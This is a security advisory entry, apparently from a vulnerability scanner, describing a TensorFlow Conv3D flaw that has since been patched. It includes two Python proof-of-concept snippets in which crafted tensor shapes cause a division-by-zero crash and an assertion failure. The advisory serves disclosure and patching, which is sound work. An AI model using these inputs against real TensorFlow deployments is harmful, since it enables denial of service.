QID 982529

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

A malicious user could trigger a division by 0 in `Conv3D` implementation:

```python
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/42033603003965bffac51ae171b51801565e002d/tensorflow/core/kernels/conv_ops_3d.cc#L143-L145) does a modulo operation based on user controlled input:

```cc
const int64 out_depth = filter.dim_size(4);
OP_REQUIRES(context, in_depth % filter_depth == 0, ...);
```

Thus, when `filter` has a 0 as the fifth element, this results in a division by 0.

Additionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:

```python
import tensorflow as tf

input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
```

The shape of the two tensors must follow the constraints specified in the [op description](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Conv3D).